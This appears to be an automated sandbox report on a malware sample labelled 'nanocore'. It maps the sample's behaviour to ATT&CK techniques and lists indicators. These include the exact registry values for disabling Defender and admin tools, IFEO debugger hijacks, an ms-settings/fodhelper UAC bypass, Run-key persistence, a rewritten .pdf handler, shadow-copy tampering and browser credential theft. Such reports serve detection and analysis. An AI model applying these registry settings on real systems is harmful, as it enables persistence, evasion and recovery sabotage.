nanocore | 1eea0119933ec3fdf8672ec776e6c419c54c07646ee8b84d702c1d5895e3bebb

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	aimitalia.news_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4568	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	aimitalia.news_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	aimitalia.news_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	aimitalia.news_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aimitalia.news_chrome.exe"	aimitalia.news_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	aimitalia.news_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aimitalia.news_chrome.exe"	aimitalia.news_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	aimitalia.news_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aimitalia.news_chrome.exe"	aimitalia.news_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4264	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	aimitalia.news_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	aimitalia.news_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	aimitalia.news_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aimitalia.news_chrome.exe"	aimitalia.news_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aimitalia.news_chrome.exe"	aimitalia.news_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aimitalia.news_chrome.exe"	aimitalia.news_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1308	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	aimitalia.news_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	aimitalia.news_chrome.exe
File created	C:\Windows\system32\svchost.exe	aimitalia.news_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
6008	wscript.exe
3236	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	aimitalia.news_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	aimitalia.news_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3972	sc.exe
2972	sc.exe
3528	sc.exe
3316	sc.exe
4280	sc.exe
5616	sc.exe
3608	sc.exe
5616	sc.exe
2404	sc.exe
820	sc.exe
3524	sc.exe
1856	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
388	cmd.exe
6112	cmd.exe
2280	cmd.exe
720	cmd.exe
4868	cmd.exe
4108	cmd.exe
392	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4356	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3524	NETSTAT.EXE
436	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4300	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4492	vssadmin.exe
5744	vssadmin.exe
5956	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\WallpaperStyle = "2"	aimitalia.news_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302854332362383"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	aimitalia.news_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aimitalia.news_chrome.exe"	aimitalia.news_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	aimitalia.news_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	aimitalia.news_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	aimitalia.news_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	aimitalia.news_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	aimitalia.news_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	aimitalia.news_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	aimitalia.news_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	aimitalia.news_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	aimitalia.news_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\aimitalia.news_chrome.exe\" \"%1\""	aimitalia.news_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	aimitalia.news_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\DelegateExecute	aimitalia.news_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	aimitalia.news_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	aimitalia.news_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4944	schtasks.exe
316	schtasks.exe
3256	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3200	chrome.exe
3200	chrome.exe
4568	powershell.exe
4568	powershell.exe
4568	powershell.exe
2864	WMIC.exe
2864	WMIC.exe
2864	WMIC.exe
2864	WMIC.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
3444	WMIC.exe
3444	WMIC.exe
3444	WMIC.exe
3444	WMIC.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
200	WMIC.exe
200	WMIC.exe
200	WMIC.exe
200	WMIC.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe
1964	aimitalia.news_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1964	aimitalia.news_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3200	chrome.exe
Token: SeCreatePagefilePrivilege	3200	chrome.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeShutdownPrivilege	3200	chrome.exe
Token: SeCreatePagefilePrivilege	3200	chrome.exe
Token: SeShutdownPrivilege	3200	chrome.exe
Token: SeCreatePagefilePrivilege	3200	chrome.exe
Token: SeShutdownPrivilege	3200	chrome.exe
Token: SeCreatePagefilePrivilege	3200	chrome.exe
Token: SeShutdownPrivilege	3200	chrome.exe
Token: SeCreatePagefilePrivilege	3200	chrome.exe
Token: SeShutdownPrivilege	3200	chrome.exe
Token: SeCreatePagefilePrivilege	3200	chrome.exe
Token: SeIncreaseQuotaPrivilege	2864	WMIC.exe
Token: SeSecurityPrivilege	2864	WMIC.exe
Token: SeTakeOwnershipPrivilege	2864	WMIC.exe
Token: SeLoadDriverPrivilege	2864	WMIC.exe
Token: SeSystemProfilePrivilege	2864	WMIC.exe
Token: SeSystemtimePrivilege	2864	WMIC.exe
Token: SeProfSingleProcessPrivilege	2864	WMIC.exe
Token: SeIncBasePriorityPrivilege	2864	WMIC.exe
Token: SeCreatePagefilePrivilege	2864	WMIC.exe
Token: SeBackupPrivilege	2864	WMIC.exe
Token: SeRestorePrivilege	2864	WMIC.exe
Token: SeShutdownPrivilege	2864	WMIC.exe
Token: SeDebugPrivilege	2864	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2864	WMIC.exe
Token: SeRemoteShutdownPrivilege	2864	WMIC.exe
Token: SeUndockPrivilege	2864	WMIC.exe
Token: SeManageVolumePrivilege	2864	WMIC.exe
Token: 33	2864	WMIC.exe
Token: 34	2864	WMIC.exe
Token: 35	2864	WMIC.exe
Token: 36	2864	WMIC.exe
Token: SeBackupPrivilege	1108	vssvc.exe
Token: SeRestorePrivilege	1108	vssvc.exe
Token: SeAuditPrivilege	1108	vssvc.exe
Token: SeShutdownPrivilege	3200	chrome.exe
Token: SeCreatePagefilePrivilege	3200	chrome.exe
Token: SeIncreaseQuotaPrivilege	2864	WMIC.exe
Token: SeSecurityPrivilege	2864	WMIC.exe
Token: SeTakeOwnershipPrivilege	2864	WMIC.exe
Token: SeLoadDriverPrivilege	2864	WMIC.exe
Token: SeSystemProfilePrivilege	2864	WMIC.exe
Token: SeSystemtimePrivilege	2864	WMIC.exe
Token: SeProfSingleProcessPrivilege	2864	WMIC.exe
Token: SeIncBasePriorityPrivilege	2864	WMIC.exe
Token: SeCreatePagefilePrivilege	2864	WMIC.exe
Token: SeBackupPrivilege	2864	WMIC.exe
Token: SeRestorePrivilege	2864	WMIC.exe
Token: SeShutdownPrivilege	2864	WMIC.exe
Token: SeDebugPrivilege	2864	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2864	WMIC.exe
Token: SeRemoteShutdownPrivilege	2864	WMIC.exe
Token: SeUndockPrivilege	2864	WMIC.exe
Token: SeManageVolumePrivilege	2864	WMIC.exe
Token: 33	2864	WMIC.exe
Token: 34	2864	WMIC.exe
Token: 35	2864	WMIC.exe
Token: 36	2864	WMIC.exe
Token: SeShutdownPrivilege	3200	chrome.exe
Token: SeCreatePagefilePrivilege	3200	chrome.exe
Token: SeIncreaseQuotaPrivilege	4568	powershell.exe
Token: SeSecurityPrivilege	4568	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe
3200	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1964	aimitalia.news_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 3200	1964	aimitalia.news_chrome.exe	88
PID 3200 wrote to memory of 4124	3200	chrome.exe	89
PID 1964 wrote to memory of 4568	1964	aimitalia.news_chrome.exe	90
PID 1964 wrote to memory of 5616	1964	aimitalia.news_chrome.exe	162
PID 1964 wrote to memory of 2404	1964	aimitalia.news_chrome.exe	94
PID 1964 wrote to memory of 820	1964	aimitalia.news_chrome.exe	96
PID 3200 wrote to memory of 4356	3200	chrome.exe	98
PID 3200 wrote to memory of 5716	3200	chrome.exe	100
PID 3200 wrote to memory of 5632	3200	chrome.exe	101
PID 3200 wrote to memory of 5716	3200	chrome.exe	100
PID 3200 wrote to memory of 5632	3200	chrome.exe	101
PID 3200 wrote to memory of 4880	3200	chrome.exe	99
PID 3200 wrote to memory of 4880	3200	chrome.exe	99
PID 3200 wrote to memory of 1020	3200	chrome.exe	103
PID 3200 wrote to memory of 1020	3200	chrome.exe	103
PID 1964 wrote to memory of 3524	1964	aimitalia.news_chrome.exe	173
PID 3200 wrote to memory of 3240	3200	chrome.exe	106
PID 3200 wrote to memory of 3240	3200	chrome.exe	106
PID 1964 wrote to memory of 3972	1964	aimitalia.news_chrome.exe	107
PID 1964 wrote to memory of 2972	1964	aimitalia.news_chrome.exe	109
PID 1964 wrote to memory of 1856	1964	aimitalia.news_chrome.exe	111
PID 1964 wrote to memory of 3528	1964	aimitalia.news_chrome.exe	113
PID 1964 wrote to memory of 1780	1964	aimitalia.news_chrome.exe	115
PID 1964 wrote to memory of 3316	1964	aimitalia.news_chrome.exe	116
PID 1964 wrote to memory of 4280	1964	aimitalia.news_chrome.exe	118
PID 1780 wrote to memory of 1328	1780	fodhelper.exe	179
